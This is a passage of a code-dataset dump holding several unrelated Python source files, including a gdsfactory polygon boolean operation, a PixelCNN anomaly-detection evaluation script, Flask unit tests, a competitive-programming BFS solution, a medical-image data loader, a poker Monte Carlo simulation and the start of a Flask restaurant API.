_boolean_region_polygons = _boolean_region(\n polygons_A,\n polygons_B,\n bboxes_A,\n bboxes_B,\n left,\n bottom,\n right,\n top,\n operation=operation,\n precision=precision,\n )\n boolean_polygons += _boolean_region_polygons\n\n return boolean_polygons\n\n\n@gf.cell\ndef boolean(\n A: Union[ComponentOrReference, Tuple[ComponentOrReference, ...]],\n B: Union[ComponentOrReference, Tuple[ComponentOrReference, ...]],\n operation: str,\n precision: float = 1e-4,\n num_divisions: Union[int, Int2] = (1, 1),\n max_points: int = 4000,\n layer: LayerSpec = (1, 0),\n) -> Component:\n \"\"\"Performs boolean operations between 2 Component/Reference/list objects.\n\n ``operation`` should be one of {'not', 'and', 'or', 'xor', 'A-B', 'B-A', 'A+B'}.\n Note that 'A+B' is equivalent to 'or', 'A-B' is equivalent to 'not', and\n 'B-A' is equivalent to 'not' with the operands switched\n\n based on phidl.geometry.boolean\n You can also use gdsfactory.drc.boolean_klayout\n\n Args:\n A: Component(/Reference) or list of Component(/References).\n B: Component(/Reference) or list of Component(/References).\n operation: {'not', 'and', 'or', 'xor', 'A-B', 'B-A', 'A+B'}.\n precision: float Desired precision for rounding vertex coordinates..\n num_divisions: number of divisions with which the geometry is divided into\n multiple rectangular regions. This allows for each region to be\n processed sequentially, which is more computationally efficient.\n max_points: The maximum number of vertices within the resulting polygon.\n layer: Specific layer to put polygon geometry on.\n\n Returns: Component with polygon(s) of the boolean operations between\n the 2 input Components performed.\n\n Notes\n -----\n 'A+B' is equivalent to 'or'.\n 'A-B' is equivalent to 'not'.\n 'B-A' is equivalent to 'not' with the operands switched.\n\n \"\"\"\n D = Component()\n A_polys = []\n B_polys = []\n A = list(A) if isinstance(A, (list, tuple)) else [A]\n B = list(B) if isinstance(B, (list, tuple)) else [B]\n\n for X, polys in ((A, A_polys), (B, B_polys)):\n for e in X:\n if isinstance(e, (Component, ComponentReference)):\n polys.extend(e.get_polygons())\n elif isinstance(e, Polygon):\n polys.extend(e.polygons)\n\n layer = gf.pdk.get_layer(layer)\n gds_layer, gds_datatype = _parse_layer(layer)\n\n operation = operation.lower().replace(\" \", \"\")\n if operation == \"a-b\":\n operation = \"not\"\n elif operation == \"b-a\":\n operation = \"not\"\n A_polys, B_polys = B_polys, A_polys\n elif operation == \"a+b\":\n operation = \"or\"\n elif operation not in [\"not\", \"and\", \"or\", \"xor\", \"a-b\", \"b-a\", \"a+b\"]:\n raise ValueError(\n \"gdsfactory.geometry.boolean() `operation` \"\n \"parameter not recognized, must be one of the \"\n \"following: 'not', 'and', 'or', 'xor', 'A-B', \"\n \"'B-A', 'A+B'\"\n )\n\n # Check for trivial solutions\n if (not A_polys or not B_polys) and operation != \"or\":\n if (\n operation != \"not\"\n and operation != \"and\"\n and operation == \"xor\"\n and not A_polys\n and not B_polys\n or operation != \"not\"\n and operation == \"and\"\n ):\n p = None\n elif operation != \"not\" and operation == \"xor\" and not A_polys:\n p = B_polys\n elif operation != \"not\" and operation == \"xor\":\n p = A_polys\n elif operation == \"not\":\n p = A_polys or None\n elif not A_polys and not B_polys:\n p = None\n elif all(np.array(num_divisions) == np.array([1, 1])):\n p = gdspy.boolean(\n operand1=A_polys,\n operand2=B_polys,\n operation=operation,\n precision=precision,\n max_points=max_points,\n layer=gds_layer,\n datatype=gds_datatype,\n )\n else:\n p = _boolean_polygons_parallel(\n polygons_A=A_polys,\n polygons_B=B_polys,\n num_divisions=num_divisions,\n operation=operation,\n precision=precision,\n )\n\n if p is not None:\n polygons = D.add_polygon(p, layer=layer)\n [\n polygon.fracture(max_points=max_points, precision=precision)\n for polygon in polygons\n ]\n return D\n\n\ndef test_boolean() -> None:\n c = gf.Component()\n e1 = c << gf.components.ellipse()\n e2 = c << gf.components.ellipse(radii=(10, 6))\n e3 = c << gf.components.ellipse(radii=(10, 4))\n e3.movex(5)\n e2.movex(2)\n c = boolean(A=[e1, e3], B=e2, operation=\"A-B\")\n assert len(c.polygons) == 2, len(c.polygons)\n\n\nif __name__ == \"__main__\":\n c = gf.Component()\n e1 = c << gf.components.ellipse()\n e2 = c << gf.components.ellipse(radii=(10, 6))\n e3 = c << gf.components.ellipse(radii=(10, 4))\n e3.movex(5)\n e2.movex(2)\n c = boolean(A=[e1, e3], B=e2, operation=\"A-B\")\n c.show(show_ports=True)\n","sub_path":"gdsfactory/geometry/boolean.py","file_name":"boolean.py","file_ext":"py","file_size_in_byte":9375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"634247711","text":"import argparse\nimport os\nimport torch\nimport operator\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nfrom tqdm import tqdm\nfrom sklearn import metrics\n\nimport data.dataset\nimport autoregressive.pixelcnn.model\nimport utils.process\nimport utils.metrics\n\ndef test(pcnn, testset, batch_size, directory):\n \"\"\"\n Evaluate the given model\n Args:\n model (torch.nn.Module): Trained model\n testset (torch.utils.data.Dataset): Test set\n batch_size (int): Mini batch size\n directory (str): Directory to save results\n \"\"\"\n\n with open(os.path.join(directory, 'output'), 'w') as outf:\n pass\n\n likelihood = []\n groundtruth = []\n dataloader = DataLoader(testset, batch_size=batch_size, shuffle=False, num_workers=4)\n likelihood_distributions = {'normal': [], 'abnormal': []}\n items = {}\n\n dist = torch.nn.PairwiseDistance(p=2, eps=1e-06)\n reconstruction_distributions = {'normal': [], 'abnormal': []}\n reconstruction_error = []\n\n #Process the testset\n for i_batch, sample in enumerate(tqdm(dataloader)):\n groundtruth += sample['lbl'].numpy().tolist()\n\n img = Variable(sample['img'], volatile=True).float().cuda()\n lbl = Variable(img.data[:, 0] * 255, volatile=True).long().cuda()\n lbl = torch.unsqueeze(lbl, 1)\n onehot_lbl = torch.FloatTensor(img.size(0), 256, 64, 64).zero_().cuda()\n onehot_lbl = Variable(onehot_lbl.scatter_(1, lbl.data, 1))\n\n #Compute pixel probabilities\n probs = pcnn(img)[0]\n probs = torch.nn.functional.softmax(probs, dim=1)\n _, argmax = torch.max(probs, dim=1)\n probs = probs * onehot_lbl\n probs = torch.sum(probs, 1)\n\n #Draw probabilities images\n if i_batch == 0:\n for i in range(probs.size(0)):\n plt.clf()\n imgprobs = probs[i]\n imgprobs = imgprobs.data.cpu().numpy()\n plt.imshow(imgprobs)\n name = sample['name'][i]\n if '.png' in name:\n name = name[:-4]\n plt.savefig(os.path.join(directory, 'plots', 'imgprobs_{}.svg'.format(name)), bbox_inches='tight')\n\n #Compute log likelihood\n probs = torch.log(probs)\n probs = probs.view((-1, 64 * 64))\n probs = torch.sum(probs, dim=1)\n probs = probs.data.cpu().numpy().tolist()\n likelihood += probs\n\n with open(os.path.join(directory, 'output'), 'a') as outf:\n for elt in range(len(probs)):\n outf.write('{}\\t{}\\n'.format(sample['complete_name'][elt], probs[elt]))\n\n #Reconstruction error\n reconstruction = utils.process.preprocess(argmax)\n tmp = utils.metrics.per_image_error(dist, reconstruction.float(), img)\n reconstruction_error += tmp.data.cpu().numpy().tolist()\n\n likelihood = np.array(likelihood)\n likelihood[likelihood == -np.inf] = likelihood[likelihood != -np.inf].min() #Remove -inf\n\n for i in range(len(likelihood)):\n items[testset[i]['complete_name']] = likelihood[i]\n if testset[i]['lbl'] == 0:\n likelihood_distributions['abnormal'].append(likelihood[i])\n reconstruction_distributions['abnormal'].append(reconstruction_error[i])\n else:\n likelihood_distributions['normal'].append(likelihood[i])\n reconstruction_distributions['normal'].append(reconstruction_error[i])\n\n #Sorted log likelihood\n sorted_items = sorted(items.items(), key=operator.itemgetter(1))\n\n #Compute AUC likelihood\n likelihood = np.array(likelihood)\n groundtruth = np.array(groundtruth)\n print(likelihood.shape, groundtruth.shape)\n fpr, tpr, thresholds = metrics.roc_curve(groundtruth, likelihood)\n auc = metrics.auc(fpr, tpr)\n print('AUC likelihood:', auc)\n\n #Compute AUC reconstruction\n reconstruction_error = np.array(reconstruction_error)\n fpr_r, tpr_r, thresholds_r = metrics.roc_curve(groundtruth, reconstruction_error)\n auc_r = metrics.auc(fpr_r, tpr_r)\n print('AUC reconstruction:', auc_r)\n\n #Get log likelihood histogram for normal and abnormal patterns\n normal_distribution = np.array(likelihood_distributions['normal'])\n abnormal_distribution = np.array(likelihood_distributions['abnormal'])\n print(\"Normal: mean={}, var={}, std={}\".format(normal_distribution.mean(), normal_distribution.var(), normal_distribution.std()))\n print(\"Anomaly: mean={}, var={}, std={}\".format(abnormal_distribution.mean(), abnormal_distribution.var(), abnormal_distribution.std()))\n hist_n, _ = np.histogram(normal_distribution, bins=50, range=[abnormal_distribution.min(), normal_distribution.max()])\n hist_a, _ = np.histogram(abnormal_distribution, bins=50, range=[abnormal_distribution.min(), normal_distribution.max()])\n minima = np.minimum(hist_n, hist_a)\n intersection = np.true_divide(np.sum(minima), np.sum(hist_a))\n print('Intersection: {}'.format(intersection))\n\n plt.clf()\n weights = np.ones_like(normal_distribution)/(len(normal_distribution))\n plt.hist(normal_distribution, bins=100, alpha=0.5, weights=weights, label='Normal', color='blue')\n weights = np.ones_like(abnormal_distribution)/(len(normal_distribution))\n x2, bins2, p2 = plt.hist(abnormal_distribution, bins=100, alpha=0.5, weights=weights, label='Abnormal', color='red')\n for item2 in p2:\n item2.set_height(item2.get_height()/sum(x2))\n plt.xlabel('Log likelihood')\n plt.ylabel('Normalized number of images')\n plt.legend(loc='upper right')\n plt.savefig(os.path.join(directory, 'plots', 'loglikelihood_hist'), format='svg', bbox_inches='tight')\n\n #Plot time series log likelihood\n x = np.array([i for i in range(len(groundtruth))])\n likelihood = (likelihood - likelihood.min()) / (likelihood.max() - likelihood.min())\n plt.clf()\n plt.plot(x, groundtruth, '--', c='green', label='Groundtruth')\n plt.plot(x, likelihood, '-', c='red', label='Norm. log likelihood')\n plt.xlabel('Frames')\n plt.ylabel('Likelihood')\n plt.legend(loc='upper right')\n plt.savefig(os.path.join(directory, 'plots', 'abnormal_score_series'), format='svg', bbox_inches='tight')\n\n #Get reconstruction errors histogram for normal and abnormal patterns\n normal_distribution = np.array(reconstruction_distributions['normal'])\n abnormal_distribution = np.array(reconstruction_distributions['abnormal'])\n print(\"Normal (reconstruction): mean={}, var={}, std={}\".format(normal_distribution.mean(), normal_distribution.var(), normal_distribution.std()))\n print(\"Anomaly (reconstruction): mean={}, var={}, std={}\".format(abnormal_distribution.mean(), abnormal_distribution.var(), abnormal_distribution.std()))\n hist_n, _ = np.histogram(normal_distribution, bins=50, range=[abnormal_distribution.min(), normal_distribution.max()])\n hist_a, _ = np.histogram(abnormal_distribution, bins=50, range=[abnormal_distribution.min(), normal_distribution.max()])\n minima = np.minimum(hist_n, hist_a)\n intersection = np.true_divide(np.sum(minima), np.sum(hist_a))\n print('Intersection (reconstruction): {}'.format(intersection))\n\n plt.clf()\n weights = np.ones_like(normal_distribution)/(len(normal_distribution))\n plt.hist(normal_distribution, bins=100, alpha=0.5, weights=weights, label='Normal', color='blue')\n weights = np.ones_like(abnormal_distribution)/(len(normal_distribution))\n x2, bins2, p2 = plt.hist(abnormal_distribution, bins=100, alpha=0.5, weights=weights, label='Abnormal', color='red')\n for item2 in p2:\n item2.set_height(item2.get_height()/sum(x2))\n plt.xlabel('L2 norm')\n plt.ylabel('Normalized number of images')\n plt.legend(loc='upper right')\n plt.savefig(os.path.join(directory, 'plots', 'reconstruction_hist'), format='svg', bbox_inches='tight')\n\n #AUC Mix\n norm_likelihood = (likelihood - likelihood.min()) / (likelihood.max() - likelihood.min())\n norm_reconstruction = (reconstruction_error - reconstruction_error.min()) / (reconstruction_error.max() - reconstruction_error.min())\n norm_reconstruction = norm_reconstruction.reshape(-1)\n print(norm_likelihood.shape, norm_reconstruction.shape)\n for beta in range(11):\n b = beta / 10\n score = ((1 - b) * norm_likelihood) + (b * norm_reconstruction)\n fpr_mix, tpr_mix, thresholds_mix = metrics.roc_curve(groundtruth, score)\n auc_mix = metrics.auc(fpr_mix, tpr_mix)\n print('AUC mix (beta={})'.format(b), auc_mix)\n\n #Store results into a file\n with open(os.path.join(directory, 'evaluation'), 'w') as f:\n f.write('AUC:\\t{}\\n'.format(auc))\n f.write('Normal:\\tmean={},\\tvar={},\\tstd={}\\n'.format(normal_distribution.mean(), normal_distribution.var(), normal_distribution.std()))\n f.write(\"Anomaly:\\tmean={},\\tvar={},\\tstd={}\\n\".format(abnormal_distribution.mean(), abnormal_distribution.var(), abnormal_distribution.std()))\n f.write('Intersection:\\t{}\\t'.format(intersection))\n for s in sorted_items:\n f.write('{}\\n'.format(s))\n\n return 0\n\ndef main(args):\n \"\"\"\n Evaluates a serialized model\n \"\"\"\n\n #Create directories\n if not os.path.exists(os.path.join(args.directory, 'plots')):\n os.makedirs(os.path.join(args.directory, 'plots'))\n\n #Create a model with the hyper-parameters used during training\n if os.path.exists(os.path.join(args.directory, 'hyper-parameters')):\n with open(os.path.join(args.directory, 'hyper-parameters'), 'r') as f:\n hp = f.read().split('\\n')[:-1]\n hp = {e.split(':')[0]:e.split(':')[1] for e in hp}\n pcnn = autoregressive.pixelcnn.model.PixelCNN(int(hp['f']), int(hp['n']), int(hp['d']))\n pcnn.cuda()\n print(pcnn)\n\n if args.model == '':\n model = os.path.join(args.directory, 'serial', 'best_model')\n else:\n model = args.model\n #Load the trained model\n pcnn.load_state_dict(torch.load(model))\n\n testset = data.dataset.VideoDataset(hp['testset'], hp['root_dir'], 'L', hp['image_size'])\n\n #Evaluate the model\n test(pcnn, testset, args.batch_size, args.directory)\n\n return 0\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='')\n #Test arguments\n parser.add_argument('-m', dest='model', type=str, default='', help='Serialized model')\n parser.add_argument('--tes', dest='testset', type=str, default='data/summaries/umn_testset', help='Path to the testset summary')\n parser.add_argument('--rd', dest='root_dir', type=str, default='/home/scom/data/umn64', help='Path to the images')\n parser.add_argument('--bs', dest='batch_size', type=int, default=16, help='Mini batch size')\n parser.add_argument('--dir', dest='directory', type=str, default='train_autoencoder', help='Directory to store results')\n parser.add_argument('--ims', dest='image_size', type=str, default='64,64,1', help='Image size')\n args = parser.parse_args()\n\n main(args)\n","sub_path":"autoregressive/pixelcnn/test_pcnn.py","file_name":"test_pcnn.py","file_ext":"py","file_size_in_byte":11008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"373169063","text":"import unittest\n\nfrom app import app\n\n\nclass BrowseTest(unittest.TestCase):\n def setUp(self):\n app.testing = True\n app.config[\"APPLICATION_ROOT\"] = \"\"\n self.app = app.test_client()\n\n def test_astroph_archive(self):\n rv = self.app.get(\"/archive/astro-ph\")\n self.assertEqual(rv.status_code, 200)\n self.assertIn('Expires', rv.headers, 'Should have expires header')\n\n rv = self.app.get(\"/archive/astro-ph/\")\n self.assertEqual(rv.status_code, 200,\n 'Trailing slash should be allowed')\n\n src = rv.data.decode(\"utf-8\")\n self.assertIn(\"Astrophysics\", src)\n self.assertIn(\"/year/astro-ph/92\", src)\n self.assertIn(\"/year/astro-ph/19\", src)\n\n self.assertIn(\n \"Astrophysics of Galaxies\",\n src,\n \"Subcategories of astro-ph should be on archive page\",\n )\n self.assertIn(\n \"Earth and Planetary Astrophysics\",\n src,\n \"Subcategories of astro-ph should be on archive page\",\n )\n\n def test_list(self):\n rv = self.app.get(\"/archive/list\")\n self.assertEqual(rv.status_code, 200)\n src = rv.data.decode(\"utf-8\")\n\n self.assertIn(\"Astrophysics\", src)\n self.assertIn(\"astro-ph\", src)\n\n self.assertIn(\"Materials Theory\", src)\n self.assertIn(\"mtrl-th\", src)\n\n rv = self.app.get(\"/archive/bogus-archive\")\n self.assertEqual(rv.status_code, 404)\n\n def test_subsumed_archive(self):\n rv = self.app.get(\"/archive/comp-lg\")\n self.assertEqual(rv.status_code, 404)\n src = rv.data.decode(\"utf-8\")\n\n self.assertIn(\"Computer Science\", src)\n self.assertIn(\"cs.CL\", src)\n\n rv = self.app.get(\"/archive/acc-phys\")\n self.assertEqual(rv.status_code, 200)\n src = rv.data.decode(\"utf-8\")\n\n self.assertIn(\"Accelerator Physics\", src)\n self.assertIn(\"physics.acc-ph\", src)\n\n def test_single_archive(self):\n rv = self.app.get(\"/archive/hep-ph\")\n self.assertEqual(rv.status_code, 200)\n src = rv.data.decode(\"utf-8\")\n\n self.assertIn(\"High Energy Physics\", src)\n self.assertNotIn(\"Categories within\", src)\n\n def test_301_redirects(self):\n rv = self.app.get(\"/archive/astro-ph/Astrophysics\")\n self.assertEqual(rv.status_code, 301,\n \"/archive/astro-ph/Astrophysics should get a \"\n \"301 redirect ARXIVNG-2119\")\n","sub_path":"tests/test_archive.py","file_name":"test_archive.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"91478648","text":"#!/usr/bin/env python3\nfrom collections import deque\n\nH, W = list(map(int, input().split()))\nch, cw = list(map(int, input().split()))\ndh, dw = list(map(int, input().split()))\n\nch -= 1\ncw -= 1\ndh -= 1\ndw -= 1\n\nS = [list((str(input()))) for i in range(H)]\n\n\ndef check(h, w):\n if h < 0 or h >= H:\n return False\n if w < 0 or w >= W:\n return False\n if S[h][w] == \"#\":\n return False\n return True\n\n\ndef main():\n\n map_ = [[10**10]*W for i in range(H)]\n # map_[ch][cw] = 0\n\n dq = deque([[ch, cw, 0]])\n\n while(len(dq) > 0):\n # print(dq)\n h, w, value = dq.popleft()\n map_value = map_[h][w]\n if map_value <= value:\n continue\n map_[h][w] = value\n\n for i in [-2, -1, 0, 1, 2]:\n for j in [-2, -1, 0, 1, 2]:\n if i == 0 and j == 0:\n continue\n if abs(i)+abs(j) == 1:\n if check(h+i, w+j):\n # print(h+i, w+)\n if map_[h+i][w+j] > value:\n dq.appendleft([h+i, w+j, value])\n else:\n if check(h+i, w+j):\n if map_[h+i][w+j] > value+1:\n dq.append([h+i, w+j, value+1])\n # for i in map_:\n # print(i)\n ans = map_[dh][dw]\n if ans == 10**10:\n print(-1)\n else:\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"abc176/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"346649576","text":"from helpers import clear_screen\nfrom time import sleep\n\nfrom item import Item\n\n\nclass Player:\n \"\"\"An object to represent the Player\n\n Args:\n name: String -- The name of the Player\n current_room: String -- the current Room the player is in\n [inventory]: List -- The items a player is holding\n \"\"\"\n\n def __init__(self, name: str, current_room: str, inventory: list = None):\n self.name = name\n self.current_room = current_room\n self.inventory = inventory\n\n def __str__(self):\n return f\"{self.name}\"\n\n def __repr__(self):\n return f\"{self.name}\"\n\n def list_inventory(self):\n if self.inventory is None:\n clear_screen()\n print(f\"{self.name} isn't carrying anything\")\n sleep(1)\n return\n\n clear_screen()\n print(f\"{self.name}'s current inventory:\")\n for item in self.inventory:\n print(f\"\\t* {item}\")\n\n def get_item(self, item_name: str):\n if self.inventory is None:\n self.inventory = []\n\n # get the list of items in the room\n room_items = self.current_room.inventory\n\n # Return a message if the item doesn't exist\n if len(room_items) < 1:\n print(f\"There don't appear to be any items in {self.current_room}\")\n return\n\n item = list(filter(lambda i: i.name == item_name, room_items))\n\n if not item:\n print(f\"{item_name} isn't in this room\")\n\n if not isinstance(item[0], Item):\n print(\"It doesn't look like you can pick that up\")\n return\n\n self.current_room.inventory.remove(item[0])\n self.inventory.append(item[0])\n clear_screen()\n item[0].on_take()\n\n def drop_item(self, item_name: str):\n if self.inventory is None or not self.inventory:\n print(\"You're not currently carrying anything\")\n return\n\n item = list(filter(lambda i: i.name == item_name, self.inventory))\n\n if not item:\n print(f\"{item_name} isn't in your inventory\")\n\n self.current_room.inventory.append(item[0])\n self.inventory.remove(item[0])\n item[0].on_drop()\n","sub_path":"src/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"585805578","text":"\"\"\"\n#===========================================================================#\n#---------------------------*[Description]*---------------------------------#\n# * This is the main code for BM 3ch to 3 vgg model\n#===========================================================================#\n#------------------------*[Record of version]*------------------------------#\n#---------------------------------------------------------------------------#\n# Date | Name | Version description #\n#---------------------------------------------------------------------------#\n# 2018.10.21 image loader validation\n#---------------------------------------------------------------------------#\n\"\"\"\nimport numpy as np\nimport scipy.io as mat_file_loader\nimport imageio as image_loader\nimport nibabel as nib\nimport pydicom\nimport os\nfrom PIL import Image\n# import cv2\nfrom scipy.ndimage import label\nimport matplotlib.pyplot as plt\n# from scipy.misc import imsave\n\nimport image_crop\n\ndef pause():\n input('Press the key to continue...')\n\nclass data_loader:\n\n batch_offset = 0\n epoch_count = 0\n\n def __init__(self, data_list, resize_option_dict):\n self.img_annot_list = data_list\n self.resize_option = resize_option_dict\n self.mat_file_in_dict = None\n self.filename = None\n self.specific_key = None\n self.np_array_values = None\n self.resized_image = None\n self.images = None\n self.annotations = None\n self.batch_file_list = None\n self.batch_image = None\n self.batch_main_annot = None\n self.pil_image = None\n self.squeezed_image = None\n self.original_size_image = None\n self.batch_image_temp = None\n self.batch_annot_temp = None\n self.temp_img = None\n self.temp_annot = None\n\n\n def file_type_check_and_load(self, one_of_list_values, index):\n\n if one_of_list_values.split('.')[-1] in ['jpg', 'png']:\n self.np_array_values = image_loader.imread(one_of_list_values)\n\n elif one_of_list_values.split('.')[-1] in ['dcm']:\n self.np_array_values = pydicom.dcmread(one_of_list_values).pixel_array\n ## HU distribution [-1024:] Normalization #\n # if np.min(self.np_array_values) == -2048:\n # self.np_array_values[self.np_array_values < -1024] = int(-1024)\n # else:\n # image = pydicom.read_file(one_of_list_values)\n # intercept = image.RescaleIntercept\n # slope = image.RescaleSlope\n # # self.np_array_values += np.int16(intercept)\n # self.np_array_values = (self.np_array_values + int(intercept))\n\n elif one_of_list_values.split('.')[-1] == 'mat':\n self.mat_file_in_dict = mat_file_loader.loadmat(one_of_list_values)\n self.filename = os.path.splitext(one_of_list_values.split('/')[-1])[0] #Linux용\n # filename = os.path.splitext(one_of_list_values.split('\\\\')[-1])[0] # Window용\n self.specific_key = self.filename + '_mask' # this is only for meniere masking file\n self.np_array_values = self.mat_file_in_dict[self.specific_key] #이 부분 체크하기\n\n elif one_of_list_values.split('.')[-1] in ['nii', 'gz']:\n self.all_nii_file = nib.load(one_of_list_values)\n self.np_array_values_of_nii = self.all_nii_file.get_data()\n self.indexed_nii = self.np_array_values_of_nii[:][:, :][:, :, index]\n self.rotated_nii = np.rot90(self.indexed_nii)\n self.upside_down_nii = np.flipud(self.rotated_nii)\n self.np_array_values = self.upside_down_nii\n\n\n self.np_array_values = np.array(self.np_array_values)\n\n if len(self.np_array_values.shape) < 3:\n self.np_array_values = self.np_array_values[:, :, np.newaxis]\n\n return self.np_array_values\n\n\n def size_transformer(self, different_size_images, resize_size):\n self.original_size_image = np.array(different_size_images)\n\n if self.original_size_image.shape[2] == 1:\n self.squeezed_image = np.squeeze(different_size_images)\n self.pil_image = Image.fromarray(self.squeezed_image)\n resized_image_temp = np.array(self.pil_image.resize((resize_size, resize_size), resample=Image.LANCZOS))\n self.resized_image = resized_image_temp[:, :, np.newaxis]\n print('check point')\n print(self.resized_image)\n print(self.resized_image.shape)\n print(type(self.resized_image))\n pause()\n else:\n self.pil_image = Image.fromarray(different_size_images)\n\n self.resized_image = self.pil_image.resize((resize_size, resize_size), resample=Image.LANCZOS)\n\n return self.resized_image\n\n\n def get_next_batch(self, batch_size):\n start = self.batch_offset\n self.batch_offset += batch_size\n\n if self.batch_offset > len(self.img_annot_list): # 여기서 batch_offset 값이 오버되면 batch_list shuffle\n\n # Display the number of epochs\n\n start = 0\n # np.random.shuffle(self.img_annot_list)\n self.batch_offset = batch_size\n\n self.epoch_count += 1\n print(\"*****************\" + str(self.epoch_count) + ' epoch completed' + \"******************\")\n\n end = self.batch_offset\n\n self.batch_file_list = self.img_annot_list[start:end]\n\n self.batch_image = []\n self.batch_pre_image = []\n self.batch_main_image = []\n self.batch_post_image = []\n self.batch_main_annot = []\n\n\n for i, file_list in enumerate(self.batch_file_list):\n\n pre_file_dict = file_list[0]\n main_file_dict = file_list[1]\n post_file_dict = file_list[2]\n\n if self.resize_option.get(\"resize\", False) and self.resize_option[\"resize\"]:\n resize_size = int(self.resize_option['resize_size'])\n\n self.pre_img_temp = np.array(self.file_type_check_and_load(pre_file_dict['pre_image'], pre_file_dict['pre_annotIndex']))\n self.main_img_temp = np.array(self.file_type_check_and_load(main_file_dict['main_image'], main_file_dict['main_annotIndex']))\n self.post_img_temp = np.array(self.file_type_check_and_load(post_file_dict['post_image'], post_file_dict['post_annotIndex']))\n\n self.pre_annot_temp = np.array(self.file_type_check_and_load(pre_file_dict['pre_annotation'], pre_file_dict['pre_annotIndex']))\n self.main_annot_temp = np.array(self.file_type_check_and_load(main_file_dict['main_annotation'], main_file_dict['main_annotIndex']))\n self.post_annot_temp = np.array(self.file_type_check_and_load(post_file_dict['post_annotation'], post_file_dict['post_annotIndex']))\n\n\n self.batch_image.append(np.array(self.size_transformer(self.temp_img, resize_size)))\n self.batch_main_annot.append(np.array(self.size_transformer(self.temp_annot, resize_size)))\n\n\n else:\n self.pre_img_temp = np.array(self.file_type_check_and_load(pre_file_dict['pre_image'], pre_file_dict['pre_annotIndex']))\n self.main_img_temp = np.array(self.file_type_check_and_load(main_file_dict['main_image'], main_file_dict['main_annotIndex']))\n self.post_img_temp = np.array(self.file_type_check_and_load(post_file_dict['post_image'], post_file_dict['post_annotIndex']))\n self.main_annot_temp = np.array(self.file_type_check_and_load(main_file_dict['main_annotation'], main_file_dict['main_annotIndex']))\n\n\n self.batch_pre_image.append(np.array(self.pre_img_temp))\n self.batch_main_image.append(np.array(self.main_img_temp))\n self.batch_post_image.append(np.array(self.post_img_temp))\n self.batch_main_annot.append(np.array(self.main_annot_temp))\n\n self.batch_pre_image = np.array(self.batch_pre_image)\n self.batch_main_image = np.array(self.batch_main_image)\n self.batch_post_image = np.array(self.batch_post_image)\n self.batch_main_annot = np.array(self.batch_main_annot)\n\n\n return self.batch_pre_image, self.batch_main_image, self.batch_post_image, self.batch_main_annot\n\n\n","sub_path":"Bone_Meta_Data_3cto3v_Loader_512_size.py","file_name":"Bone_Meta_Data_3cto3v_Loader_512_size.py","file_ext":"py","file_size_in_byte":8366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"245436454","text":"import numpy as np\n\nfrom deck import Deck, DECK_SHAPE\n\nWIN = np.array([1, 0, 0], np.int)\nDRAW = np.array([0, 1, 0], np.int)\nLOSE = np.array([0, 0, 1], np.int)\n\nclass Instance:\n def __init__(self, own_hand=None, table=None):\n deck = Deck()\n deck.shuffle()\n\n if own_hand is None:\n own_hand = deck.draw(2)\n else:\n own_hand = own_hand.copy()\n deck.remove(own_hand)\n\n if table is None:\n table = deck.draw(5)\n else:\n table = table.copy()\n deck.remove(table)\n if table.count() < 5:\n table += deck.draw(5 - table.count())\n\n opp_hand = deck.draw(2)\n\n own_hand += table\n opp_hand += table\n\n own_rank = own_hand.rank()\n opp_rank = opp_hand.rank()\n\n if own_rank > opp_rank:\n self.result = WIN\n elif own_rank < opp_rank:\n self.result = LOSE\n else:\n own_rank_untie = own_hand.rank_untie()\n opp_rank_untie = opp_hand.rank_untie()\n if own_rank_untie < opp_rank_untie:\n self.result = WIN\n elif own_rank_untie > opp_rank_untie:\n self.result = LOSE\n else:\n self.result = DRAW\n\nclass MonteCarlo:\n def __init__(self, hand=None, table=None, samples=1000):\n count = np.zeros(3, np.int)\n for i in range(samples):\n instance = Instance(own_hand=hand, table=table)\n count += instance.result\n self.result = count / samples\n\nif __name__ == \"__main__\":\n import matplotlib.pyplot as plt\n import pandas as pd\n\n data = []\n for samples in [10, 25, 50, 100, 250, 500, 1000]:\n print(\"samples:\", samples)\n repetitions = 10000 // samples\n for i in range(repetitions):\n probs = MonteCarlo(samples=samples).result\n data.append(np.concatenate(([samples], probs)))\n\n df = pd.DataFrame(data=data, columns=[\"samples\", \"p_win\", \"p_draw\", \"p_lose\"])\n print(\"Means:\")\n print((df.groupby(\"samples\").mean() * 100).round(2))\n print()\n print(\"Standard Deviations:\")\n print((df.groupby(\"samples\").std() * 100).round(2))","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"632730372","text":"\"\"\"\nProject for Udacity Fullstack webdevelopment Week 3\n\"\"\"\n\nfrom flask import Flask, render_template, request, redirect, url_for, flash, jsonify\nfrom sqlalchemy import create_engine, exc\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom database_setup import Base, Restaurant, MenuItem\n\nAPP = Flask(__name__)\nENGINE = create_engine('sqlite:///restaurantmenu.db')\nBase.metadata.bind = ENGINE\n\nSESSIONFACTORY = sessionmaker(bind=ENGINE)\nSESSION = scoped_session(SESSIONFACTORY)\n\n@APP.before_request\ndef before_request():\n \"\"\"\n For each request start a new SESSION\n \"\"\"\n SESSION()\n\n@APP.route('/JSON')\n@APP.route('/restaurants/JSON')\ndef restaurants_json():\n \"\"\"\n Return all restaurants in JSON Format\n \"\"\"\n try:\n restaurant = SESSION.query(Restaurant).all()\n return jsonify(Restaurants=[i.serialize for i in restaurant])\n except exc.SQLAlchemyError:\n return jsonify({\"error\": {\"code\": 404, \"message\": \"Error reading restaurants\"}})\n\n@APP.route('/restaurant//menu/JSON')\ndef restaurant_menu_json(restaurant_id):\n \"\"\"\n Return all menu-items for one restaurant in 